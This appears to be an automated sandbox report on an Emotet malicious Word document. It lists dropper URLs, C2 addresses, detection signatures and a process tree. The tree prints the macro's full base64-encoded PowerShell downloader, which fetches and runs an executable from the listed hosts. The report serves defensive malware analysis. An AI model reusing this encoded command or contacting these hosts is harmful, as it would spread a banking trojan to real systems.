Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    65s
  • max time network
    39s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    11/08/2020, 10:00

Sharing

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General

  • Target
    emotet_e3_324c0a139c6c925b7b9d8024ed112aebafb7bc484096b58419471a22b672bce3_2020-08-11__095924._doc.doc
  • Size 227KB
  • Sample200811-tevs3mbl12
  • SHA256 324c0a139c6c925b7b9d8024ed112aebafb7bc484096b58419471a22b672bce3
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://stoutarc.com/assets/hoTVnj/
  • exe.dropper

    http://soundaffairs.net/logs/yzht756773/
  • exe.dropper

    http://sukhumvithomes.com/sathorncondos.com/N6dWb36edu55270418/
  • exe.dropper

    http://adopteerightslaw.org/yaook/ran/
  • exe.dropper

    http://liveheart.co.jp/img/qyH/

Extracted

Family

  • emotet

C2

  • 202.5.47.71:80

  • 139.99.157.213:8080

  • 188.166.25.84:8080

  • 192.163.221.191:8080

  • 181.113.229.139:443

  • 115.79.195.246:80

  • 113.161.148.81:80

  • 37.46.129.215:8080

  • 190.55.233.156:80

  • 115.165.3.213:80

  • 41.185.29.128:8080

  • 51.38.201.19:7080

  • 178.33.167.120:8080

  • 46.105.131.68:8080

  • 74.208.173.91:8080

  • 143.95.101.72:8080

  • 75.127.14.170:8080

  • 78.188.170.128:80

  • 115.78.11.155:80

  • 203.153.216.182:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Program crash 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_324c0a139c6c925b7b9d8024ed112aebafb7bc484096b58419471a22b672bce3_2020-08-11__095924._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1412
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAFkASwBCAFcAeQBuAHQAPQAnAFUAQQBLAE8AUABxAGIAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAUgBpAHQAYAB5AHAAUgBvAHQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAE4ASgBBAEMAYgB1AG4AIAA9ACAAJwA4ADgAMgAnADsAJABRAEIAUABJAFUAaQBtAGYAPQAnAEcATwBXAEYASAB5AGYAZAAnADsAJABHAEgATABOAE0AcgBuAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoATgBKAEEAQwBiAHUAbgArACcALgBlAHgAZQAnADsAJABGAEsATgBaAFQAcQBzAGkAPQAnAEwAWABUAFoARgBlAGYAeAAnADsAJABBAEYAWgBaAFMAZwBlAGUAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAQwBsAEkAZQBOAHQAOwAkAEQATwBIAFYAQwBrAG0AcwA9ACcAaAB0AHQAcAA6AC8ALwBzAHQAbwB1AHQAYQByAGMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AaABvAFQAVgBuAGoALwAqAGgAdAB0AHAAOgAvAC8AcwBvAHUAbgBkAGEAZgBmAGEAaQByAHMALgBuAGUAdAAvAGwAbwBnAHMALwB5AHoAaAB0ADcANQA2ADcANwAzAC8AKgBoAHQAdABwADoALwAvAHMAdQBrAGgAdQBtAHYAaQB0AGgAbwBtAGUAcwAuAGMAbwBtAC8AcwBhAHQAaABvAHIAbgBjAG8AbgBkAG8AcwAuAGMAbwBtAC8ATgA2AGQAVwBiADMANgBlAGQAdQA1ADUAMgA3ADAANAAxADgALwAqAGgAdAB0AHAAOgAvAC8AYQBkAG8AcAB0AGUAZQByAGkAZwBoAHQAcwBsAGEAdwAuAG8AcgBnAC8AeQBhAG8AbwBrAC8AcgBhAG4ALwAqAGgAdAB0AHAAOgAvAC8AbABpAHYAZQBoAGUAYQByAHQALgBjAG8ALgBqAHAALwBpAG0AZwAvAHEAeQBIAC8AJwAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAFAAUQBTAEsAcwBnAG0APQAnAFgAVQBEAFAASgBuAGcAcgAnADsAZgBvAHIAZQBhAGMAaAAoACQASABRAFkAQQBVAGwAawBiACAAaQBuACAAJABEAE8ASABWAEMAawBtAHMAKQB7AHQAcgB5AHsAJABBAEYAWgBaAFMAZwBlAGUALgAiAEQAbwBXAG4ATABvAGEAYABEAEYAYABpAGwAZQAiACgAJABIAFEAWQBBAFUAbABrAGIALAAgACQARwBIAEwATgBNAHIAbgBpACkAOwAkAEIAUQBJAFoAUABsAHEAYQA9ACcATwBIAEoAUgBBAGoAbgBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARwBIAEwATgBNAHIAbgBpACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADAANQA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAHIAZQBgAEEAVABlACIAKAAkAEcASABMAE4ATQByAG4AaQApADsAJABNAEEAVQBUAEgAYwB1AG4APQAnAFYATwBGAFQATgBzAGQAaAAnADsAYgByAGUAYQBrADsAJABQAFoARgBDAEoAbABzAGUAPQAnAEcAVQBUAEMAVABhAGMAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAFcAQgBXAFYAeABiAGYAPQAnAEkATwBWAFkAVwBiAGwAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1392
  • C:\Users\Admin\882.exe
    C:\Users\Admin\882.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:516
    • C:\Windows\SysWOW64\udhisapi\KBDINBE2.exe
      "C:\Windows\SysWOW64\udhisapi\KBDINBE2.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1312 -s 92
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1572

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/516-17-0x0000000000220000-0x000000000022C000-memory.dmp
        Download

        memory/1392-8-0x000007FEEA060000-0x000007FEEAA4C000-memory.dmp
        Download

        memory/1392-9-0x00000000025A0000-0x00000000025A1000-memory.dmp
        Download

        memory/1392-11-0x0000000002780000-0x0000000002781000-memory.dmp
        Download

        memory/1392-12-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1392-10-0x000000001ADA0000-0x000000001ADA1000-memory.dmp
        Download

        memory/1392-14-0x000000001B950000-0x000000001B951000-memory.dmp
        Download

        memory/1392-15-0x000000001C400000-0x000000001C401000-memory.dmp
        Download

        memory/1412-13-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/1412-2-0x0000000008950000-0x0000000008954000-memory.dmp
        Download

        memory/1412-7-0x00000000071D0000-0x00000000073D0000-memory.dmp
        Download

        memory/1412-6-0x00000000071D0000-0x00000000073D0000-memory.dmp
        Download

        memory/1412-5-0x000000000BB00000-0x000000000BB04000-memory.dmp
        Download

        memory/1412-4-0x000000000AA80000-0x000000000AA84000-memory.dmp
        Download

        memory/1572-22-0x0000000002160000-0x0000000002171000-memory.dmp
        Download

        memory/1572-24-0x00000000025E0000-0x00000000025F1000-memory.dmp
        Download